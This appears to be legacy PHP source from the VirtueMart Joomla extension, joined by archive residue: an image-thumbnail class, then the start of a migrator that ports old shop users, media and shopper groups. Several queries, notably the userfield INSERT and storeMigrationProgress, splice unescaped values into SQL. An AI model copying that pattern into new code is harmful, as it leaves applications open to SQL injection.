			if(empty($orig_img)){
				vmWarn('Img2Thumb NewImgCreate $orig_img empty, type was not in switch for file '.$filename.' this happens due missing exif data or broken origin file');
				return false;
			} else {
				$new_img =$this->NewImgResize($orig_img,$newxsize,$newysize,$filename);
				if (!empty($fileout))
				{
					$this-> NewImgSave($new_img,$fileout,$type);
				}
				else
				{
					$this->NewImgShow($new_img,$type);
				}

				ImageDestroy($new_img);
				ImageDestroy($orig_img);
			}
		}
	}

	/**
	 * check for jpeg file header and footer - also try to fix it
	 * @author willertan1980 at yahoo dot com http://www.php.net/manual/de/function.imagecreatefromjpeg.php
	 * @param $f
	 * @param bool $fix
	 * @return bool
	 */
	function check_jpeg($f, $fix=false ){

		if ( false !== (@$fd = fopen($f, 'r+b' )) ){
			if ( fread($fd,2)==chr(255).chr(216) ){
				fseek ( $fd, -2, SEEK_END );
				if ( fread($fd,2)==chr(255).chr(217) ){
					fclose($fd);
					vmdebug('valid jpg '.$f);
					return true;
				}else{
					if ( $fix && fwrite($fd,chr(255).chr(217)) ){vmdebug('corrected jpg '.$f);return true;}
					fclose($fd);
					vmInfo('broken jpg, cannot create thumb '.$f);
					return false;
				}
			}else{fclose($fd); return false;}
		}else{
			vmWarn('check_jpeg could not open file '.$f);
			return false;
		}
	}

	/**
*	Maybe adding sharpening with
*            $sharpenMatrix = array
            (
                array(-1.2, -1, -1.2),
                array(-1, 20, -1),
                array(-1.2, -1, -1.2)
            );

            // calculate the sharpen divisor
            $divisor = array_sum(array_map('array_sum', $sharpenMatrix));

            $offset = 0;

            // apply the matrix
            imageconvolution($img, $sharpenMatrix, $divisor, $offset);
*
*	private function - do not call
*	includes function ImageCreateTrueColor and ImageCopyResampled which are available only under GD 2.0.1 or higher !
*/
	private function NewImgResize($orig_img,$newxsize,$newysize,$filename)
	{
		//getimagesize returns array
		// [0] = width in pixels
		// [1] = height in pixels
		// [2] = type
		// [3] = img tag "width=xx height=xx" values


		$orig_size = getimagesize($filename);

		$newxsize = (int)$newxsize;
		$newysize = (int)$newysize;
		if(empty($newxsize) and empty($newysize)){
			vmWarn('NewImgResize failed x,y = 0','NewImgResize failed x,y = 0');
			return false;
		}
		$maxX = $newxsize;
		$maxY = $newysize;

		if ($orig_size[0]<$orig_size[1])
		{
			$newxsize = (int)$newysize * ($orig_size[0]/$orig_size[1]);
			$adjustX = (int)($maxX - $newxsize)/2;
			$adjustY = 0;
		}
		else
		{
			$newysize = (int) $newxsize / ($orig_size[0]/$orig_size[1]);
			$adjustX = 0;
			$adjustY = (int)($maxY - $newysize)/2;
		}

		/* Original code removed to allow for maxSize thumbnails
		$im_out = ImageCreateTrueColor($newxsize,$newysize);
		ImageCopyResampled($im_out, $orig_img, 0, 0, 0, 0,
			$newxsize, $newysize,$orig_size[0], $orig_size[1]);
		*/

		//	New modification - creates new image at maxSize
		if( $this->maxSize )
		{
			if( function_exists("imagecreatetruecolor") )
			  $im_out = imagecreatetruecolor($maxX,$maxY);
			else
			  $im_out = imagecreate($maxX,$maxY);

			// Need to image fill just in case image is transparent, don't always want black background
			$bgfill = imagecolorallocate( $im_out, $this->bg_red, $this->bg_green, $this->bg_blue );

			if( function_exists( "imageAntiAlias" )) {
				imageAntiAlias($im_out,true);
			}
 		    imagealphablending($im_out, false);
		    if( function_exists( "imagesavealpha")) {
		    	imagesavealpha($im_out,true);
		    }
		    if( function_exists( "imagecolorallocatealpha")) {
		    	$transparent = imagecolorallocatealpha($im_out, 255, 255, 255, 127);
		    }

			//imagefill( $im_out, 0,0, $bgfill );
			if( function_exists("imagecopyresampled") ){
				ImageCopyResampled($im_out, $orig_img, $adjustX, $adjustY, 0, 0, $newxsize, $newysize,$orig_size[0], $orig_size[1]);
			}
			else {
				ImageCopyResized($im_out, $orig_img, $adjustX, $adjustY, 0, 0, $newxsize, $newysize,$orig_size[0], $orig_size[1]);
			}

		}
		else
		{

			if( function_exists("imagecreatetruecolor") )
			  $im_out = ImageCreateTrueColor($newxsize,$newysize);
			else
			  $im_out = imagecreate($newxsize,$newysize);

			if( function_exists( "imageAntiAlias" ))
			  imageAntiAlias($im_out,true);
 		    imagealphablending($im_out, false);
		    if( function_exists( "imagesavealpha"))
			  imagesavealpha($im_out,true);
		    if( function_exists( "imagecolorallocatealpha"))
			  $transparent = imagecolorallocatealpha($im_out, 255, 255, 255, 127);

			if( function_exists("imagecopyresampled") )
			  ImageCopyResampled($im_out, $orig_img, 0, 0, 0, 0, $newxsize, $newysize,$orig_size[0], $orig_size[1]);
			else
			  ImageCopyResized($im_out, $orig_img, 0, 0, 0, 0, $newxsize, $newysize,$orig_size[0], $orig_size[1]);
		}


		return $im_out;
	}

	/**
*
*	private function - do not call
*
*/
	private function NewImgSave($new_img,$fileout,$type)
	{
		if( !@is_dir( dirname($fileout))) {
			@mkdir( dirname($fileout) );
		}
		switch($type)
		{
			case "gif":
				if( !function_exists("imagegif") )
				{
					if (strtolower(substr($fileout,strlen($fileout)-4,4))!=".gif") {
						$fileout .= ".png";
					}
					return imagepng($new_img,$fileout);

				}
				else {
					if (strtolower(substr($fileout,strlen($fileout)-4,4))!=".gif") {
						$fileout .= '.gif';
					}
					return imagegif( $new_img, $fileout );

				}
				break;
			case "jpg":
				if (strtolower(substr($fileout,strlen($fileout)-4,4))!=".jpg")
					$fileout .= ".jpg";
				$quality = 89;
				return imagejpeg($new_img, $fileout, $quality);
				break;
			case "png":
				if (strtolower(substr($fileout,strlen($fileout)-4,4))!=".png")
					$fileout .= ".png";
				return imagepng($new_img,$fileout);
				break;
		}
	}

	/**
*
*	private function - do not call
*
*/
	private function NewImgShow($new_img,$type)
	{
		/* Original code removed in favor of 'switch' statement
		if ($type=="png")
		{
			header ("Content-type: image/png");
			 return imagepng($new_img);
		}
		if ($type=="jpg")
		{
			header ("Content-type: image/jpeg");
			 return imagejpeg($new_img);
		}
		*/
		switch($type)
		{
			case "gif":
				if( function_exists("imagegif") )
				{
					header ("Content-type: image/gif");
					return imagegif($new_img);
					break;
				}
				//either there is missing a break or the else $this->NewImgShow is unecessary
				else
					$this->NewImgShow( $new_img, "jpg" );

			case "jpg":
				header ("Content-type: image/jpeg");
				return imagejpeg($new_img);
				break;
			case "png":
				header ("Content-type: image/png");
				return imagepng($new_img);
				break;
		}
	}

	/**
*
*	private function - do not call
*
*   1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF,
*   5 = PSD, 6 = BMP,
*   7 = TIFF(intel byte order),
*   8 = TIFF(motorola byte order),
*   9 = JPC, 10 = JP2, 11 = JPX,
*   12 = JB2, 13 = SWC, 14 = IFF
*/
	private function GetImgType($filename)
	{
		$info = getimagesize($filename);
		/* Original code removed in favor of 'switch' statement
		if($size[2]==2)
			return "jpg";
		elseif($size[2]==3)
			return "png";
		*/
		switch($info[2]) {
			case 1:
				return "gif";
				break;
			case 2:
				return "jpg";
				break;
			case 3:
				return "png";
				break;
			default:
				return false;
		}
	}

}���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������migrator.php����������������������������������������������������������������������������������������0000666�����������������00000213717�15137212725�0007125 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 *
 * @version $Id: migrator.php 7660 2014-02-17 23:56:35Z Milbo $
 * @package VirtueMart
 * @subpackage classes
 * @copyright Copyright (C) 2004-2007 soeren, 2009-2011 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.org
 */

if( !defined( '_JEXEC' ) ) die( 'Direct Access to '.basename(__FILE__).' is not allowed.' );

if(!class_exists('JModel'))
require(JPATH_ROOT . DS . 'libraries' . DS . 'joomla' . DS . 'application' . DS . 'component' . DS . 'model.php');
if(!class_exists('VmModel'))
require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmmodel.php');


class Migrator extends VmModel{

	private $_stop = false;

	public function __construct(){

// 		JTable::addIncludePath(JPATH_VM_ADMINISTRATOR . DS . 'tables');

		$this->_app = JFactory::getApplication();
		$this->_db = JFactory::getDBO();
		$this->_oldToNew = new stdClass();
		$this->starttime = microtime(true);

		$max_execution_time = VmConfig::getExecutionTime();
		$jrmax_execution_time= JRequest::getInt('max_execution_time');

		if(!empty($jrmax_execution_time)){
			// 			vmdebug('$jrmax_execution_time',$jrmax_execution_time);
			if($max_execution_time!=$jrmax_execution_time) @ini_set( 'max_execution_time', $jrmax_execution_time );
		} else if($max_execution_time<60) {
			@ini_set( 'max_execution_time', 60 );
		}

		$this->maxScriptTime = VmConfig::getExecutionTime()*0.80-1;	//Lets use 30% of the execution time as reserve to store the progress

		$jrmemory_limit= JRequest::getInt('memory_limit');
		if(!empty($jrmemory_limit)){
			@ini_set( 'memory_limit', $jrmemory_limit.'M' );
		} else {
			VmConfig::ensureMemoryLimit(128);
		}

		$this->maxMemoryLimit = $this->return_bytes(ini_get('memory_limit')) - (14 * 1024 * 1024)  ;		//Lets use 11MB for joomla
		// 		vmdebug('$this->maxMemoryLimit',$this->maxMemoryLimit); //134217728
		//$this->maxMemoryLimit = $this -> return_bytes('20M');

		// 		ini_set('memory_limit','35M');
		$q = 'SELECT `id` FROM `#__virtuemart_migration_oldtonew_ids` ';
		$this->_db->setQuery($q);
		$res = $this->_db->loadResult();
		if(empty($res)){
			$q = 'INSERT INTO `#__virtuemart_migration_oldtonew_ids` (`id`) VALUES ("1")';
			$this->_db->setQuery($q);
			$this->_db->query();
			$this->_app->enqueueMessage('Start with a new migration process and setup log maxScriptTime '.$this->maxScriptTime.' maxMemoryLimit '.$this->maxMemoryLimit/(1024*1024));
		} else {
			$this->_app->enqueueMessage('Found prior migration process, resume migration maxScriptTime '.$this->maxScriptTime.' maxMemoryLimit '.$this->maxMemoryLimit/(1024*1024));
		}

		$this->_keepOldProductIds = VmConfig::get('keepOldProductIds',FALSE);
	}

	private function return_bytes($val) {
		$val = trim($val);
		$last = strtolower($val[strlen($val)-1]);
		switch($last) {
			// The 'G' modifier is available since PHP 5.1.0
			case 'g':
				$val *= 1024;
			case 'm':
				$val *= 1024;
			case 'k':
				$val *= 1024;
		}

		return $val;
	}

	function getMigrationProgress($group){

		$q = 'SELECT `'.$group.'` FROM `#__virtuemart_migration_oldtonew_ids` WHERE `id` = "1" ';

		$this->_db->setQuery($q);
		$result = $this->_db->loadResult();
		if(empty($result)){
			$result = array();
		} else {
			// 			vmdebug('getMigrationProgress '.$group,$result);
			$uresult = unserialize(trim($result));
			if(!$uresult){
				vmdebug('getMigrationProgress unserialize failed '.$group,$result);
				// 				vmWarn('getMigrationProgress '.$group.' array is created new and therefore empty $q '.$q.' '.print_r($uresult,1).' <pre>'.print_r($result,1).'</pre>');
				$result = array();
			} else {
				$result = $uresult;
			}
		}
		
		return $result;

	}

	function storeMigrationProgress($group,$array, $limit = ''){

		$q = 'UPDATE `#__virtuemart_migration_oldtonew_ids` SET `'.$group.'`="'.serialize($array).'" '.$limit.' WHERE `id` = "1"';

		$this->_db->setQuery($q);
		if(!$this->_db->query()){
			$this->_app->enqueueMessage('storeMigrationProgress failed to update query '.$this->_db->getQuery());
			$this->_app->enqueueMessage('and ErrrorMsg '.$this->_db->getErrorMsg());
			return false;
		}

		return true;
	}

	function migrateGeneral(){

		$result = $this->portMedia();
		$result1 = $this->portShoppergroups();
		$result2 = $this->portCategories();
		$result3 = $this->portManufacturerCategories();
		$result4 = $this->portManufacturers();
		// 		$result = $this->portOrderStatus();
        if(((int)$result + (int)$result1 + (int)$result2 + (int)$result3 + (int)$result4) ==5){
            $result = true;
        } else {
            $result = false;
        }

		$time = microtime(true) - $this->starttime;
		vmInfo('Worked on general migration for '.$time.' seconds');
		vmRamPeak('Migrate general vm1 info ended ');
		return $result;
	}

	function migrateUsers(){

		// 		$result = $this->portShoppergroups();
		$result = $this->portUsers();

		$time = microtime(true) - $this->starttime;
		vmInfo('Worked on user migration for '.$time.' seconds');
		vmRamPeak('Migrate shoppers ended ');
		return $result;
	}

	function migrateProducts(){

		// 		$result = $this->portMedia();

		// 		$result = $this->portCategories();
		// 		$result = $this->portManufacturerCategories();
		// 		$result = $this->portManufacturers();
		$result = $this->portProducts();

		$time = microtime(true) - $this->starttime;
		$this->_app->enqueueMessage('Worked on general migration for '.$time.' seconds');

		return $result;
	}

	function migrateOrders(){

		// 		$result = $this->portMedia();
		// 		$result = $this->portCategories();
		// 		$result = $this->portManufacturerCategories();
		// 		$result = $this->portManufacturers();
// 		$result = $this->portProducts();

		// 		$result = $this->portOrderStatus();
		$result = $this->portOrders();
		$time = microtime(true) - $this->starttime;
		vmInfo('Worked on migration for '.$time.' seconds');

		return $result;
	}

	function migrateAllInOne(){

		$result = $this->portMedia();

		$result = $this->portShoppergroups();
		$result = $this->portUsers();
		$result = $this->portVendor();

		$result = $this->portCategories();
		$result = $this->portManufacturerCategories();
		$result = $this->portManufacturers();
		$result = $this->portProducts();

		//$result = $this->portOrderStatus();
		$result = $this->portOrders();
		$time = microtime(true) - $this->starttime;
		$this->_app->enqueueMessage('Worked on migration for '.$time.' seconds');

		vmRamPeak('Migrate all ended ');
		return $result;
	}

	public function portMedia(){

		$ok = true;
		JRequest::setVar('synchronise',true);
		//Prevents search field from interfering with syncronization
		JRequest::setVar('searchMedia', '');

		//$imageExtensions = array('jpg','jpeg','gif','png');

		if(!class_exists('VirtueMartModelMedia'))
		require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'media.php');
		$this->mediaModel = VmModel::getModel('Media');
		//First lets read which files are already stored
		$this->storedMedias = $this->mediaModel->getFiles(false, true);

		//check for entries without file
		foreach($this->storedMedias as $media){

			if($media->file_is_forSale!=1){
				$media_path = JPATH_ROOT.DS.str_replace('/',DS,$media->file_url);
			} else {
				$media_path = $media->file_url;
			}

			if(!file_exists($media_path)){
				vmInfo('File for '.$media_path.' is missing');

				//The idea is here to test if the media with missing data is used somewhere and to display it
				//When it not used, the entry should be deleted then.
				/*				$q = 'SELECT * FROM `#__virtuemart_category_medias` as cm,
				`#__virtuemart_product_medias` as pm,
				`#__virtuemart_manufacturer_medias` as mm,
				`#__virtuemart_vendor_medias` as vm
				WHERE cm.`virtuemart_media_id` = "'.$media->virtuemart_media_id.'"
				OR pm.`virtuemart_media_id` = "'.$media->virtuemart_media_id.'"
				OR mm.`virtuemart_media_id` = "'.$media->virtuemart_media_id.'"
				OR vm.`virtuemart_media_id` = "'.$media->virtuemart_media_id.'" ';

				$this->_db->setQuery($q);
				$res = $this->_db->loadResultArray();
				vmdebug('so',$res);
				if(count($res)>0){
				vmInfo('File for '.$media->file_url.' is missing, but used ');
				}
				*/
			}
		}


		$countTotal = 0;
		//We do it per type
		$url = VmConfig::get('media_product_path');
		$type = 'product';
		$count = $this->_portMediaByType($url, $type);
		$countTotal += $count;
		$this->_app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT', $count, $type, $url));

		if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return $msg = JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH', $countTotal);
		}

		$url = VmConfig::get('media_category_path');
		$type = 'category';
		$count = $this->_portMediaByType($url, $type);
		$countTotal += $count;
		$this->_app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT', $count, $type, $url));

		if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return $msg = JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH', $countTotal);
		}

		$url = VmConfig::get('media_manufacturer_path');
		$type = 'manufacturer';
		$count = $this->_portMediaByType($url, $type);
		$countTotal += $count;
		$this->_app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT', $count, $type, $url));

		if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return $msg = JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_NOT_FINISH', $countTotal);
		}

		$url = VmConfig::get('media_vendor_path');
		$type = 'vendor';
		$count = $this->_portMediaByType($url, $type);
		$countTotal += $count;
		$this->_app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT', $count, $type, $url));

		$url = VmConfig::get('forSale_path');
		$type = 'forSale';
		$count = $this->_portMediaByType($url, $type);
		$countTotal += $count;
		$this->_app->enqueueMessage(JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT', $count, $type, $url));


		return $msg = JText::sprintf('COM_VIRTUEMART_UPDATE_PORT_MEDIA_RESULT_FINISH', $countTotal);
	}

	private function _portMediaByType($url, $type){

		$knownNames = array();
		//create array of filenames for easier handling
		foreach($this->storedMedias as $media){
			if($media->file_type == $type){
				//Somehow we must use here the right char encoding, so that it works below
				// in line 320
				$knownNames[] = $media->file_url;
			}
		}

		$filesInDir = array();
		$foldersInDir = array();

		if($type!='forSale'){

			$path = str_replace('/', DS, $url);
			$foldersInDir = array(JPATH_ROOT . DS . $path);
		} else {
			$foldersInDir = array($url);
		}

		if (!is_dir($foldersInDir[0])) {
			vmError($type.' Path/Url is not set correct :'.$foldersInDir[0]);
			return 0;
		}

		while(!empty($foldersInDir)){
			foreach($foldersInDir as $dir){
				$subfoldersInDir = null;
				$subfoldersInDir = array();
				if($type!='forSale'){
					$relUrl = str_replace(DS, '/', substr($dir, strlen(JPATH_ROOT . DS)));
				} else {
// 					vmdebug('$dir',$dir);
					$relUrl = $dir;
				}
				if($handle = opendir($dir)){
					while(false !== ($file = readdir($handle))){

						//$file != "." && $file != ".." replaced by strpos
						if(!empty($file) && strpos($file,'.')!==0  && $file != 'index.html'){

							$filetype = filetype($dir . DS . $file);
							$relUrlName = '';
							$relUrlName = $relUrl.$file;
							// vmdebug('my relative url ',$relUrlName);

							//We port all type of media, regardless the extension
							if($filetype == 'file'){
								if(!in_array($relUrlName, $knownNames)){
									$filesInDir[] = array('filename' => $file, 'url' => $relUrl);
								}
							}else {
								if($filetype == 'dir' && $file != 'resized' && $file != 'invoices'){
									$subfoldersInDir[] = $dir.$file.DS;
									// 									vmdebug('my sub folder ',$dir.$file);
								}
							}
						}

						if((microtime(true)-$this->starttime) >= ($this->maxScriptTime*0.4)){
							break;
						}
					}
				}
				$foldersInDir = $subfoldersInDir;
				if((microtime(true)-$this->starttime) >= ($this->maxScriptTime*0.4)){
					break;
				}
			}
			if((microtime(true)-$this->starttime) >= ($this->maxScriptTime*0.4)){
				break;
			}
		}

		$i = 0;
		foreach($filesInDir as $file){

			$data = null;
			$data = array('file_title' => $file['filename'],
		    'virtuemart_vendor_id' => 1,
		    'file_description' => $file['filename'],
		    'file_meta' => $file['filename'],
		    'file_url' => $file['url'] . $file['filename'],
	    	 'media_published' => 1
			);

			if($type == 'product') $data['file_is_product_image'] = 1;
			if($type == 'forSale') $data['file_is_forSale'] = 1;

			$this->mediaModel->setId(0);
			$success = $this->mediaModel->store($data, $type);
			$errors = $this->mediaModel->getErrors();
			foreach($errors as $error){
				$this->_app->enqueueMessage('Migrator ' . $error);
			}
			$this->mediaModel->resetErrors();
			if($success) $i++;
			if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
				vmError('Attention script time too short, no time left to store the media, please rise script execution time');
				break;
			}
		}

		return $i;
	}

	private function portShoppergroups(){

		if($this->_stop || (microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return;
		}

		$query = 'SHOW TABLES LIKE "%vm_shopper_group%"';
		$this->_db->setQuery($query);
		if(!$this->_db->loadResult()){
			vmInfo('No Shoppergroup table found for migration');
			$this->_stop = true;
			return false;
		}

		$ok = true;

		$q = 'SELECT * FROM #__vm_shopper_group';
		$this->_db->setQuery($q);
		$oldShopperGroups = $this->_db->loadAssocList();
		if(empty($oldShopperGroups)) $oldShopperGroups = array();

		$oldtoNewShoppergroups = array();
		$alreadyKnownIds = $this->getMigrationProgress('shoppergroups');

		$starttime = microtime(true);
		$i = 0;
		foreach($oldShopperGroups as $oldgroup){

			if(!array_key_exists($oldgroup['shopper_group_id'],$alreadyKnownIds)){
				$sGroups = null;
				$sGroups = array();
				//$category['virtuemart_category_id'] = $oldcategory['category_id'];
				$sGroups['virtuemart_vendor_id'] = $oldgroup['vendor_id'];
				$sGroups['shopper_group_name'] = $oldgroup['shopper_group_name'];

				$sGroups['shopper_group_desc'] = $oldgroup['shopper_group_desc'];
				$sGroups['published'] = 1;
				$sGroups['default'] = $oldgroup['default'];

				$table = $this->getTable('shoppergroups');

				$table->bindChecknStore($sGroups);
				$errors = $table->getErrors();
				if(!empty($errors)){
					foreach($errors as $error){
						vmError('Migrator portShoppergroups '.$error);
					}
					break;
				}

				// 				$oldtoNewShoppergroups[$oldgroup['shopper_group_id']] = $sGroups['virtuemart_shoppergroup_id'];
				$alreadyKnownIds[$oldgroup['shopper_group_id']] = $sGroups['virtuemart_shoppergroup_id'];
				unset($sGroups['virtuemart_shoppergroup_id']);
				$i++;
			}
			// 			else {
			// 				$oldtoNewShoppergroups[$oldgroup['shopper_group_id']] = $alreadyKnownIds[$oldgroup['shopper_group_id']];
			// 			}

			if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
				break;
			}
		}

		$time = microtime(true) - $starttime;
		$this->_app->enqueueMessage('Processed '.$i.' vm1 shoppergroups time: '.$time);

		$this->storeMigrationProgress('shoppergroups',$alreadyKnownIds);

	}

	private function portUsers(){

		if($this->_stop || (microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return;
		}

		$query = 'SHOW TABLES LIKE "%vm_user_info%"';
		$this->_db->setQuery($query);
		if(!$this->_db->loadResult()){
			vmInfo('No vm_user_info table found for migration');
			$this->_stop = true;
			return false;
		}
		//declaration _vm_userfield >> _virtuemart_userfields`
		// vendor_id >> virtuemart_vendor_id
		$this->_db->setQuery('select `name` FROM `#__virtuemart_userfields`');
		$vm2Fields = $this->_db->loadResultArray ();
		$this->_db->setQuery('select * FROM `#__vm_userfield`');
		$oldfields = $this->_db->loadObjectList();
		$migratedfields ='';
		$userfields      = $this->getTable('userfields');
		$userinfo   = $this->getTable('userinfos');
		$orderinfo  = $this->getTable('order_userinfos');
		foreach ($oldfields as $field ) {
			if ($field->name =='country' or $field->name =='state') continue;
			if (!isset($field->shipment)) $field->shipment = 0 ;
			if ( !in_array( $field->name, $vm2Fields ) ) {
				$q = 'INSERT INTO `#__virtuemart_userfields` ( `name`, `title`, `description`, `type`, `maxlength`, `size`, `required`, `ordering`, `cols`, `rows`, `value`, `default`, `published`, `registration`, `shipment`, `account`, `readonly`, `calculated`, `sys`, `virtuemart_vendor_id`, `params`)
					VALUES ( "'.$field->name.'"," '.$field->title .'"," '.$field->description .'"," '.$field->type .'"," '.$field->maxlength .'"," '.$field->size .'"," '.$field->required .'"," '.$field->ordering .'"," '.$field->cols .'"," '.$field->rows .'"," '.$field->value .'"," '.$field->default .'"," '.$field->published .'"," '.$field->registration .'"," '.$field->shipment .'"," '.$field->account .'"," '.$field->readonly .'"," '.$field->calculated .'"," '.$field->sys .'"," '.$field->vendor_id .'"," '.$field->params .'" )';
				$this->_db->setQuery($q);
				$this->_db->query();
				if ($this->_db->getErrorNum()) {
					vmError ($this->_db->getErrorMsg() );
				}
				$userfields->type = $field->type;
				$type = $userfields->formatFieldType($field);
				if (!$userinfo->_modifyColumn ('ADD', $field->name, $type)) {
					vmError($userinfo->getError());
					return false;
				}

				// Alter the order_userinfo table
				if (!$orderinfo->_modifyColumn ('ADD',$field->name, $type)) {
					vmError($orderinfo->getError());
					return false;
				}
				$migratedfields .= '['.$field->name.'] ';

			}
		}
		if ($migratedfields) vminfo('Userfield declaration '.$migratedfields.' Migrated');
		$oldToNewShoppergroups = $this->getMigrationProgress('shoppergroups');
		if(empty($oldToNewShoppergroups)){
			vmInfo('portUsers getMigrationProgress shoppergroups ' . $this->_db->getErrorMsg());
			return false;
		}

		if(!class_exists('VirtueMartModelUser')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'user.php');
		$userModel = VmModel::getModel('user');

		$ok = true;
		$continue = true;

		//approximatly 110 users take a 1 MB
		$maxItems = $this->_getMaxItems('Users');


		// 		$maxItems = 10;
		$i=0;
		$startLimit = 0;
		$goForST = true;
		if ( JVM_VERSION===1 ) {
			$jUserArray = array('id','username','name','password','usertype','block','sendEmail','registerDate',
			                    'lastvisitDate','activation','params' );
		} else {
			$jUserArray = array('id','username','name','password','usertype','block','sendEmail','registerDate',
			                    'lastvisitDate','activation','params','lastResetTime','resetCount');
		}

		$JUserString = '`p`.`'.implode('`,`p`.`',$jUserArray).'`';
		//$continue=false;

		$q = 'SELECT * FROM `#__vm_auth_group` ';
		$this->_db->setQuery($q);
		$groups = $this->_db->loadAssocList();

		while($continue){

			//Lets load all users from the joomla hmm or vm? VM1 users does NOT exist
			$q = 'SELECT `ui`.*,`svx`.*,'.$JUserString.',`vmu`.virtuemart_user_id FROM #__vm_user_info AS `ui`
				LEFT OUTER JOIN #__vm_shopper_vendor_xref AS `svx` ON `svx`.user_id = `ui`.user_id
				LEFT OUTER JOIN #__users AS `p` ON `p`.id = `ui`.user_id
				LEFT OUTER JOIN #__virtuemart_vmusers AS `vmu` ON `vmu`.virtuemart_user_id = `ui`.user_id
				WHERE (`vmu`.virtuemart_user_id) IS NULL  LIMIT '.$startLimit.','.$maxItems ;


			$res = self::loadCountListContinue($q,$startLimit,$maxItems,'port shoppers');
			$oldUsers = $res[0];
			$startLimit = $res[1];
			$continue = $res[2];

			$starttime = microtime(true);

			foreach($oldUsers as $user){

				$user['virtuemart_country_id'] = $this->getCountryIDByName($user['country']);
				$user['virtuemart_state_id'] = $this->getStateIDByName($user['state']);

				if(!empty($user['shopper_group_id'])){
					$user['virtuemart_shoppergroups_id'] = $oldToNewShoppergroups[$user['shopper_group_id']];
				}

				if(!empty($user['user_id'])){
					$user['virtuemart_user_id'] = $user['user_id'];
				}

				if(!empty($user['user_email'])){
					$user['email'] = $user['user_email'];
				}

				//$userModel->setUserId($user['id']);
				$userModel->setId($user['user_id']);		//Should work with setId, because only administrators are allowed todo the migration


				//Joomla user does exist
				//if(!empty($user['email'])){
					//Save the VM user stuff
					if(!$saveUserData=$userModel->saveUserData($user,false)){
						vmdebug('Error migration saveUserData ');
						// 					vmError(JText::_('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA'));
					}

					$userfielddata = $userModel->_prepareUserFields($user, 'BT');

					$userinfo = $this->getTable('userinfos');
					if (!$userinfo->bindChecknStore($userfielddata)) {
						vmError('Migration storeAddress BT '.$userinfo->getError());
					}

					if(!empty($user['user_is_vendor']) && $user['user_is_vendor'] === 1){
						if (!$userModel->storeVendorData($user)){
							vmError('Migrator portUsers '.$userModel->getError());
						}
					}
				/*} else //There is no joomla user, but there is a user
					if(!empty($user['user_email'])){

						//vmdebug('joomla user is missing, what todo?',$user['user_id']);
				}*/


				$i++;

				$errors = $userModel->getErrors();
				if(!empty($errors)){
					foreach($errors as $error){
						vmError('Migrator portUsers '.$error);
					}
					$userModel->resetErrors();
					$continue = false;
					//break;
				}

				if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
					$goForST = false;
					break;
				}
			}
		}

		$time = microtime(true) - $starttime;
		vmInfo('Processed '.$i.' vm1 users time: '.$time);

		//adresses
		$starttime = microtime(true);
		$continue = $goForST;
		$startLimit = 0;
		$i = 0;
		while($continue){

			$q = 'SELECT `ui`.* FROM #__vm_user_info as `ui`
			LEFT OUTER JOIN #__virtuemart_userinfos as `vui` ON `vui`.`virtuemart_user_id` = `ui`.`user_id`
			WHERE `ui`.`address_type` = "ST" AND (`vui`.`virtuemart_user_id`) IS NULL LIMIT '.$startLimit.','.$maxItems;

			$res = self::loadCountListContinue($q,$startLimit,$maxItems,'port ST addresses');
			$oldUsersAddresses = $res[0];
			$startLimit = $res[1];
			$continue = $res[2];


			if(empty($oldUsersAddresses)) return $ok;

			//$alreadyKnownIds = $this->getMigrationProgress('staddress');
			$oldtonewST = array();

			foreach($oldUsersAddresses as $oldUsersAddi){

				// 			if(!array_key_exists($oldcategory['virtuemart_userinfo_id'],$alreadyKnownIds)){
				$oldUsersAddi['virtuemart_user_id'] = $oldUsersAddi['user_id'];

				$oldUsersAddi['virtuemart_country_id'] = $this->getCountryIDByName($oldUsersAddi['country']);
				$oldUsersAddi['virtuemart_state_id'] = $this->getStateIDByName($oldUsersAddi['state']);

				$userfielddata = $userModel->_prepareUserFields($oldUsersAddi, 'ST');

				$userinfo = $this->getTable('userinfos');
				if (!$userinfo->bindChecknStore($userfielddata)) {
					vmError('Migration storeAddress ST '.$userinfo->getError());
				}
				$i++;
				if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
					$continue = false;
					break;
				}

			}
		}

		$time = microtime(true) - $starttime;
		vmInfo('Processed '.$i.' vm1 users ST adresses time: '.$time);
		return $ok;
	}

	private function portVendor(){

		if($this->_stop || (microtime(true)-$this->starttime) >= ($this->maxScriptTime)){
			return;
		}

		$query = 'SHOW TABLES LIKE "%_vm_vendor"';
		$this->_db->setQuery($query);
		if(!$this->_db->loadResult()){
			vmInfo('No vm_vendor table found for migration');
			$this->_stop = true;
			return false;
		}
		$this->_db->setQuery( 'SELECT *, vendor_id as virtuemart_vendor_id FROM `#__vm_vendor`' );
